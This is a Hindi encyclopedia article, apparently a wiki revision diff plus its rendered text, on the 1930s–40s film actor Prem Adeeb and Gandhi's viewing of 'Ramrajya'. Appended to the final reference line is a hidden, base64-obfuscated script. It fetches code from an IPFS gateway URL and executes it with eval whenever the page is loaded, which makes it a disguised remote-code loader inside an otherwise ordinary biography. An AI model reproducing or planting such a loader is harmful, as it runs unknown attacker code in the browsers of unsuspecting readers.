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प्रेम अदीब [[1930]] के दशक के मध्य में सामाजिक फ़िल्मों से अपना करियर शुरू करने वाले अभिनेता थे। इन्होंने 25 सालों में कुल 67 फ़िल्मों में अभिनय किया था।  
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प्रेम अदीब [[1930]] के दशक के मध्य में सामाजिक फ़िल्मों से अपना करियर शुरू करने वाले [[अभिनेता]] थे। इन्होंने 25 सालों में कुल 67 फ़िल्मों में [[अभिनय]] किया था।  
 
== फ़िल्मी सफ़र ==
 
== फ़िल्मी सफ़र ==
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प्रेम अदीब ने फ़िल्म ‘रोमांटिक इंडिया’ के बाद ‘दरियानी प्रोडक्शंस’ की ‘फ़िदा-ए-वतन’, ‘प्रतिमा’ (दोनों [[1936]]) और ‘इंसाफ़’([[1937]]), ‘मिनर्वा मूवीटोन’ की ‘ख़ान बहादुर’ ([[1937]]) और ‘तलाक़’ ([[1938]]) जैसी फ़िल्मों में भी [[अभिनय]] किया। ‘जनरल फ़िल्म्स’ की ([[1938]]) में प्रदर्शित हुई फ़िल्म ‘इंडस्ट्रियल इंडिया’ में प्रेम अदीब पहली बार हीरो बने। इस फ़िल्म के निर्देशक भी मोहन सिन्हा ही थे और नायिका थीं ‘शोभना समर्थ’,‘विश्वकला मूवीटोन’ की ‘घूंघटवाली’ ([[1938]]), ‘सागर मूवीटोन’ की ‘भोलेभाले’ और ‘साधना’ ([[1939]]), ‘हिंदुस्तान सिनेटोन’ की ‘सौभाग्य’ ([[1940]]) जैसी फ़िल्मों के साथ प्रेम अदीब के करियर का ग्राफ लगातार ऊपर उठता चला गया।<ref>{{cite web |url=http://beetehuedin.blogspot.in/2012/09/manzil-ki-dhun-me-jhoomte-prem-adib.html |title=प्रेम अदीब|accessmonthday=13 जून |accessyear=2017 |last= |first= |authorlink= |format= |publisher=beetehuedin.blogspot.in |language=हिन्दी }}</ref>
  
प्रेम अदीब ने फ़िल्म ‘रोमांटिक इंडिया’ के बाद ‘दरियानी प्रोडक्शंस’ की ‘फ़िदा-ए-वतन’, ‘प्रतिमा’ (दोनों [[1936]]) और ‘इंसाफ़’([[1937]]), ‘मिनर्वा मूवीटोन’ की ‘ख़ान बहादुर’ ([[1937]]) और ‘तलाक़’ ([[1938]]) जैसी फ़िल्मों में भी [[अभिनय]] किया। ‘जनरल फ़िल्म्स’ की ([[1938]]) में प्रदर्शित हुई फ़िल्म ‘इंडस्ट्रियल इंडिया’ में प्रेम अदीब पहली बार हीरो बने। इस फ़िल्म के निर्देशक भी मोहन सिन्हा ही थे और नायिका थीं ‘शोभना समर्थ’,‘विश्वकला मूवीटोन’ की ‘घूंघटवाली’ ([[1938]]), ‘सागर मूवीटोन’ की ‘भोलेभाले’ और ‘साधना’ ([[1939]]), ‘हिंदुस्तान सिनेटोन’ की ‘सौभाग्य’ ([[1940]]) जैसी फ़िल्मों के साथ प्रेम अदीब के करियर का ग्राफ लगातार ऊपर उठता चला गया।
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[[1941]] में प्रदर्शित हुई फ़िल्म ‘दर्शन’ के साथ ही प्रेम अदीब की एंट्री ‘प्रकाश पिक्चर्स’ में हुई। संगीतकार नौशाद के करियर की ये शुरूआती फ़िल्मों में से थी और चूंकि वो भी अवध ([[लखनऊ]]) के रहने वाले थे इसलिए जल्द ही प्रेम अदीब और नौशाद बहुत अच्छे दोस्त बन गए। साल [[1942]] में बनी ‘प्रकाश पिक्चर्स’ की ‘भरत मिलाप’ ने प्रेम अदीब को एक नयी पहचान दी। साल 1942 में ही प्रेम अदीब की ‘प्रकाश पिक्चर्स’ के बैनर में बनीं ‘चूड़ियां’ और ‘स्टेशन मास्टर’ और ‘हिंदुस्तान सिनेटोन’ की ‘स्वामीनाथ’ प्रदर्शित हुईं और साल [[1943]] में ‘प्रकाश पिक्चर्स’ के बैनर में बनी फ़िल्म ‘रामराज्य’ का नाम तो [[हिंदी सिनेमा]] के इतिहास में स्वर्णाक्षरों में दर्ज हुआ। उन्होंने कुछ फ़िल्मों में [[गीत]] भी गाए थे। सभी कैलेंडर व पोस्टरों में [[राम]] के रूप में इनका ही चित्र छपता था। प्रेम अदीब एक विशेष मनमोहकता थी जिसने सभी का मन मोह लिया था।   
 
 
[[1941]] में प्रदर्शित हुई फ़िल्म ‘दर्शन’ के साथ ही प्रेम अदीब की एंट्री ‘प्रकाश पिक्चर्स’ में हुई। संगीतकार नौशाद के करियर की ये शुरूआती फ़िल्मों में से थी और चूंकि वो भी अवध (लखनऊ) के रहने वाले थे इसलिए जल्द ही प्रेम अदीब और नौशाद बहुत अच्छे दोस्त बन गए। साल [[1942]] में बनी ‘प्रकाश पिक्चर्स’ की ‘भरत मिलाप’ ने प्रेम अदीब को एक नयी पहचान दी। साल 1942 में ही प्रेम अदीब की ‘प्रकाश पिक्चर्स’ के बैनर में बनीं ‘चूड़ियां’ और ‘स्टेशन मास्टर’ और ‘हिंदुस्तान सिनेटोन’ की ‘स्वामीनाथ’ प्रदर्शित हुईं और साल [[1943]] में ‘प्रकाश पिक्चर्स’ के बैनर में बनी फ़िल्म ‘रामराज्य’ का नाम तो [[हिंदी सिनेमा]] के इतिहास में स्वर्णाक्षरों में दर्ज हुआ। उन्होंने कुछ फिल्मों में गीत भी गाए थे। सभी कैलेंडर व पोस्टरों में राम के रूप में इनका ही चित्र छपता था। प्रेम अदीब एक विशेष मनमोहकता थी जिसने सभी का मन मोह लिया था।   
 
 
== गाँधीजी की पहली फ़िल्म ==
 
== गाँधीजी की पहली फ़िल्म ==
प्रतिमा अदीब के अनुसार अगस्त माह में विजय भट्ट ने जुहू-मुंबई के बिड़ला हाऊस में फ़िल्म ‘रामराज्य’ का एक शो रखा। [[महात्मा गांधी]] उन दिनों [[मुंबई]] में ही थे। विजय भट्ट के आग्रह पर उन्होंने अपने व्यस्त कार्यक्रम में से 10 मिनट के लिए उस शो के दौरान मौजूद रहने पर हामी भर दी थी। 10 मिनट गुज़र जाने पर अपने सेक्रेट्री के याद दिलाने के बावजूद उन्होंने बाक़ी कार्यक्रम कैंसिल किए और पूरी फ़िल्म देखी थी।   
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प्रतिमा अदीब के अनुसार [[अगस्त|अगस्त माह]] में विजय भट्ट ने जुहू-मुंबई के बिड़ला हाऊस में फ़िल्म ‘रामराज्य’ का एक शो रखा। [[महात्मा गांधी]] उन दिनों [[मुंबई]] में ही थे। विजय भट्ट के आग्रह पर उन्होंने अपने व्यस्त कार्यक्रम में से 10 मिनट के लिए उस शो के दौरान मौजूद रहने पर हामी भर दी थी। 10 मिनट गुज़र जाने पर अपने सेक्रेट्री के याद दिलाने के बावजूद उन्होंने बाक़ी कार्यक्रम कैंसिल किए और पूरी फ़िल्म देखी थी।   
  
 
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==टीका टिप्पणी और संदर्भ==
 
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13:38, 13 जून 2017 का अवतरण

प्रेम अदीब विषय सूची
प्रेम अदीब का फ़िल्मी सफ़र
प्रेम अदीब
पूरा नाम प्रेम अदीब
अन्य नाम शिवप्रसाद
जन्म 10 अगस्त 1916
मृत्यु 1959
अभिभावक रामप्रसाद दर
पति/पत्नी प्रतिमा अदीब
कर्म भूमि मुम्बई
कर्म-क्षेत्र अभिनेता
मुख्य फ़िल्में ‘वीरांगना’ (1947), ‘एक्ट्रेस’, ‘अनोखी अदा’, ‘रामबाण’ (1948), ‘भोली’, ‘हमारी मंज़िल’, ‘राम विवाह’ (1949) आदि।
पुरस्कार-उपाधि प्रेम अदीब को उर्दू के ‘अदब’ लफ़्ज़ से बनी ‘अदीब’ की उपाधि से नवाब वाजिद अली शाह द्वारा नवाज़ा गया था।
अन्य जानकारी प्रेम अदीब को उनके असली नाम शिवप्रसाद की जगह फ़िल्मी नाम ‘प्रेम’, मोहन सिन्हा ने ही दिया था।
अद्यतन‎ 05:44, 13 जून 2017 (IST)

प्रेम अदीब 1930 के दशक के मध्य में सामाजिक फ़िल्मों से अपना करियर शुरू करने वाले अभिनेता थे। इन्होंने 25 सालों में कुल 67 फ़िल्मों में अभिनय किया था।

फ़िल्मी सफ़र

प्रेम अदीब ने फ़िल्म ‘रोमांटिक इंडिया’ के बाद ‘दरियानी प्रोडक्शंस’ की ‘फ़िदा-ए-वतन’, ‘प्रतिमा’ (दोनों 1936) और ‘इंसाफ़’(1937), ‘मिनर्वा मूवीटोन’ की ‘ख़ान बहादुर’ (1937) और ‘तलाक़’ (1938) जैसी फ़िल्मों में भी अभिनय किया। ‘जनरल फ़िल्म्स’ की (1938) में प्रदर्शित हुई फ़िल्म ‘इंडस्ट्रियल इंडिया’ में प्रेम अदीब पहली बार हीरो बने। इस फ़िल्म के निर्देशक भी मोहन सिन्हा ही थे और नायिका थीं ‘शोभना समर्थ’,‘विश्वकला मूवीटोन’ की ‘घूंघटवाली’ (1938), ‘सागर मूवीटोन’ की ‘भोलेभाले’ और ‘साधना’ (1939), ‘हिंदुस्तान सिनेटोन’ की ‘सौभाग्य’ (1940) जैसी फ़िल्मों के साथ प्रेम अदीब के करियर का ग्राफ लगातार ऊपर उठता चला गया।[1]

1941 में प्रदर्शित हुई फ़िल्म ‘दर्शन’ के साथ ही प्रेम अदीब की एंट्री ‘प्रकाश पिक्चर्स’ में हुई। संगीतकार नौशाद के करियर की ये शुरूआती फ़िल्मों में से थी और चूंकि वो भी अवध (लखनऊ) के रहने वाले थे इसलिए जल्द ही प्रेम अदीब और नौशाद बहुत अच्छे दोस्त बन गए। साल 1942 में बनी ‘प्रकाश पिक्चर्स’ की ‘भरत मिलाप’ ने प्रेम अदीब को एक नयी पहचान दी। साल 1942 में ही प्रेम अदीब की ‘प्रकाश पिक्चर्स’ के बैनर में बनीं ‘चूड़ियां’ और ‘स्टेशन मास्टर’ और ‘हिंदुस्तान सिनेटोन’ की ‘स्वामीनाथ’ प्रदर्शित हुईं और साल 1943 में ‘प्रकाश पिक्चर्स’ के बैनर में बनी फ़िल्म ‘रामराज्य’ का नाम तो हिंदी सिनेमा के इतिहास में स्वर्णाक्षरों में दर्ज हुआ। उन्होंने कुछ फ़िल्मों में गीत भी गाए थे। सभी कैलेंडर व पोस्टरों में राम के रूप में इनका ही चित्र छपता था। प्रेम अदीब एक विशेष मनमोहकता थी जिसने सभी का मन मोह लिया था।

गाँधीजी की पहली फ़िल्म

प्रतिमा अदीब के अनुसार अगस्त माह में विजय भट्ट ने जुहू-मुंबई के बिड़ला हाऊस में फ़िल्म ‘रामराज्य’ का एक शो रखा। महात्मा गांधी उन दिनों मुंबई में ही थे। विजय भट्ट के आग्रह पर उन्होंने अपने व्यस्त कार्यक्रम में से 10 मिनट के लिए उस शो के दौरान मौजूद रहने पर हामी भर दी थी। 10 मिनट गुज़र जाने पर अपने सेक्रेट्री के याद दिलाने के बावजूद उन्होंने बाक़ी कार्यक्रम कैंसिल किए और पूरी फ़िल्म देखी थी।


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टीका टिप्पणी और संदर्भ

  1. प्रेम अदीब (हिन्दी) beetehuedin.blogspot.in। अभिगमन तिथि: 13 जून, 2017।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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